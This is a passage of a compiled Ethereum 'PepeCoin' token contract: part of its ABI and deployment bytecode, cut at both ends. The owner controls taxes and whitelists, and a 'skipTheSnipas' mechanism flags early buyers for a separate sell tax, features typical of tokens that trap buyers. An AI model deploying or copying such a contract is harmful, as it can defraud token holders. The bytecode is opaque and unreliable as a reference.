"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokensd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokensd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f50657065436f696e000000000000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600481526020017f50455045000000000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860296b033b2e3c9fd0803ce8000000620000b0919062000f90565b620000bc91906200100a565b6008556103e860296b033b2e3c9fd0803ce8000000620000dd919062000f90565b620000e991906200100a565b60095561271060036b033b2e3c9fd0803ce80000006200010a919062000f90565b6200011691906200100a565b600a5573f2d82545f19e6037b735cca0e99964cf42e8b0ac600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff02191690831515021790555060006011556000601255600060135573e74bb7a6606c55b07002b379f28290aa6239d212601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b033b2e3c9fd0803ce800000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bf6620011b86000396000818161096f01528181610c3701528181610ce201528181610e1501528181610e5c015281816111c6015281816113630152818161280d0152818161290601526129a90152613bf66000f3fe6080604052600436106102135760003560e01c8063715018a611610118578063aa4bde28116100a0578063e5b37a651161006f578063e5b37a65146107bb578063ef437ff5146107f8578063f2fde38b14610821578063fb201b1d1461084a578063fca675a8146108615761021a565b8063aa4bde28146106ff578063b61b64fa1461072a578063d1cc670914610755578063dd62ed3e1461077e5761021a565b80638da5cb5b116100e75780638da5cb5b1461060457806395d89b411461062f578063a014f37d1461065a578063a457c2d714610685578063a9059cbb146106c25761021a565b8063715018a61461056e578063751039fc146105855780638baa82491461059c5780638c0b5e22146105d95761021a565b806333ee17931161019b5780634a123fb81161016a5780634a123fb8146104965780634d3eaaa8146104bf57806354b762a6146104fc5780635d8d7f371461052757806370a08231146105315761021a565b806333ee1793146103d857806339509351146104035780633eb5d9b21461044057806349bd5a5e1461046b5761021a565b80631694505e116101e25780631694505e146102dd57806318160ddd1461030857806323b872dd146103335780632fee9e7e14610370578063313ce567146103ad5761021a565b806303fd2a451461021f5780630445b6671461024a57806306fdde0314610275578063095ea7b3146102a05761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461088c565b6040516102419190612a80565b60405180910390f35b34801561025657600080fd5b5061025f6108b2565b60405161026c9190612ab4565b60405180910390f35b34801561028157600080fd5b5061028a6108b8565b6040516102979190612b5f565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c29190612bde565b61094a565b6040516102d49190612c39565b60405180910390f35b3480156102e957600080fd5b506102f261096d565b6040516102ff9190612cb3565b60405180910390f35b34801561031457600080fd5b5061031d610991565b60405161032a9190612ab4565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612cce565b61099b565b6040516103679190612c39565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190612d21565b6109ca565b6040516103a49190612c39565b60405180910390f35b3480156103b957600080fd5b506103c26109ea565b6040516103cf9190612d6a565b60405180910390f35b3480156103e457600080fd5b506103ed6109f3565b6040516103fa9190612ab4565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190612bde565b6109f9565b6040516104379190612c39565b60405180910390f35b34801561044c57600080fd5b50610455610a30565b6040516104629190612ab4565b60405180910390f35b34801561047757600080fd5b50610480610a36565b60405161048d9190612a80565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190612d21565b610a5c565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190612bde565b610b81565b6040516104f39190612c39565b60405180910390f35b34801561050857600080fd5b50610511610bb1565b60405161051e9190612c39565b60405180910390f35b61052f610c2d565b005b34801561053d57600080fd5b5061055860048036038101906105539190612d21565b610f16565b6040516105659190612ab4565b60405180910390f35b34801561057a57600080fd5b50610583610f5e565b005b34801561059157600080fd5b5061059a610f72565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d21565b610fa2565b6040516105d09190612c39565b60405180910390f35b3480156105e557600080fd5b506105ee610fc2565b6040516105fb9190612ab4565b60405180910390f35b34801561061057600080fd5b50610619610fc8565b6040516106269190612a80565b60405180910390f35b34801561063b57600080fd5b50610644610ff2565b6040516106519190612b5f565b60405180910390f35b34801561066657600080fd5b5061066f611084565b60405161067c9190612c39565b60405180910390f35b34801561069157600080fd5b506106ac60048036038101906106a79190612bde565b6110d0565b6040516106b99190612c39565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612bde565b611147565b6040516106f69190612c39565b60405180910390f35b34801561070b57600080fd5b5061071461116a565b6040516107219190612ab4565b60405180910390f35b34801561073657600080fd5b5061073f611170565b60405161074c9190612ab4565b60405180910390f35b34801561076157600080fd5b5061077c60048036038101906107779190612bde565b611176565b005b34801561078a57600080fd5b506107a560048036038101906107a09190612d85565b61149c565b6040516107b29190612ab4565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190612d21565b611523565b6040516107ef9190612c39565b60405180910390f35b34801561080457600080fd5b5061081f600480360381019061081a9190612df1565b611543565b005b34801561082d57600080fd5b5061084860048036038101906108439190612d21565b6115a6565b005b34801561085657600080fd5b5061085f611629565b005b34801561086d57600080fd5b506108766116b9565b6040516108839190612ea8565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6060600380546108c790612ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546108f390612ef2565b80156109405780601f1061091557610100808354040283529160200191610940565b820191906000526020600020905b81548152906001019060200180831161092357829003601f168201915b5050505050905090565b6000806109556116cc565b90506109628185856116d4565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000806109a66116cc565b90506109b385828561189d565b6109be858585611929565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610a046116cc565b9050610a25818585610a16858961149c565b610a209190612f52565b6116d4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a646122e3565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610adc9190612a80565b602060405180830381865afa158015610af9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1d9190612f9b565b6040518363ffffffff1660e01b8152600401610b3a929190612fc8565b6020604051808303816000875af1158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d9190613006565b5050565b600080309050610ba6848285610b97888661149c565b610ba19190612f52565b6116d4565b600191505092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610c1d573d6000803e3d6000fd5b5060006016819055506001905090565b610c356122e3565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190613048565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190613048565b6040518363ffffffff1660e01b8152600401610d8c929190613075565b6020604051808303816000875af1158015610dab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcf9190613048565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e5a307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116d4565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ea130610f16565b600080610eac610fc8565b426040518863ffffffff1660e01b8152600401610ece969594939291906130d9565b60606040518083038185885af1158015610eec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f11919061313a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f666122e3565b610f706000612361565b565b610f7a6122e3565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461100190612ef2565b80601f016020809104026020016040519081016040528092919081815260200182805461102d90612ef2565b801561107a5780601f1061104f5761010080835404028352916020019161107a565b820191906000526020600020905b81548152906001019060200180831161105d57829003601f168201915b5050505050905090565b600061108e6122e3565b6003601060006101000a81548160ff021916908360038111156110b4576110b3612e31565b5b0217905550600060118190555060006012819055506001905090565b6000806110db6116cc565b905060006110e9828661149c565b90508381101561112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906131ff565b60405180910390fd5b61113b82868684036116d4565b60019250505092915050565b6000806111526116cc565b905061115f818585611929565b600191505092915050565b60095481565b60165481565b6000600267ffffffffffffffff8111156111935761119261321f565b5b6040519080825280602002602001820160405280156111c15781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190613048565b816000815181106112675761126661324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106112b6576112b561324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106113065761130561324e565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113f9577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016113c2949392919061333b565b6000604051808303818588803b1580156113db57600080fd5b505af11580156113ef573d6000803e3d6000fd5b5050505050611496565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd858460018151811061142a5761142961324e565b5b6020026020010151866040518463ffffffff1660e01b815260040161145193929190613387565b6020604051808303816000875af1158015611470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114949190613006565b505b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61154b6122e3565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115ae6122e3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490613430565b60405180910390fd5b61162681612361565b50565b6116316122e3565b601060029054906101000a900460ff1615611681576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116789061349c565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a9061352e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a9906135c0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118909190612ab4565b60405180910390a3505050565b60006118a9848461149c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119235781811015611915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190c9061362c565b60405180910390fd5b61192284848484036116d4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90613750565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aab5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0057601060029054906101000a900460ff16611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af6906137bc565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ba45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c9d57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c9c57600854811115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a9061384e565b60405180910390fd5b600954611c4f83610f16565b82611c5a9190612f52565b1115611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c92906138e0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d465750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122d257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611df45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121e457600854821115611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590613972565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ee55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f1d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fef5760006003811115611f3657611f35612e31565b5b601060009054906101000a900460ff166003811115611f5857611f57612e31565b5b03611fb6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fc89190613992565b611fd29190613a03565b9050611fdf853083612427565b8083611feb9190613a34565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120965750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120ce57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120e65750601060039054906101000a900460ff165b80156120ff5750601060019054906101000a900460ff16155b156121df576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121695760135490505b6001601060016101000a81548160ff02191690831515021790555061218c61269d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121b79190613992565b6121c19190613a03565b90506121ce863083612427565b80846121da9190613a34565b925050505b6122d1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561229257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122d05760006064601354846122a99190613992565b6122b39190613a03565b90506122c0853083612427565b80836122cc9190613a34565b9150505b5b5b6122dd848483612427565b50505050565b6122eb6116cc565b73ffffffffffffffffffffffffffffffffffffffff16612309610fc8565b73ffffffffffffffffffffffffffffffffffffffff161461235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235690613ab4565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613750565b60405180910390fd5b612510838383612764565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90613b46565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126849190612ab4565b60405180910390a3612697848484612769565b50505050565b60006126a830610f16565b0315612762576000806126ba30610f16565b9050600047905060006126ee600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f16565b90506000600a5484111561275c5747925061270a84600061276e565b82476127169190613a34565b9450600a54821115612742578061272e576000612730565b845b8561273b9190613a03565b6016819055505b84601660008282546127549190612f52565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561278b5761278a61321f565b5b6040519080825280602002602001820160405280156127b95781602001602082028036833780820191505090505b50905030816000815181106127d1576127d061324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190613048565b816001815181106128ae576128ad61324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612963929190612fc8565b6020604051808303816000875af1158015612982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a69190613006565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b8152600401612a08959493929190613b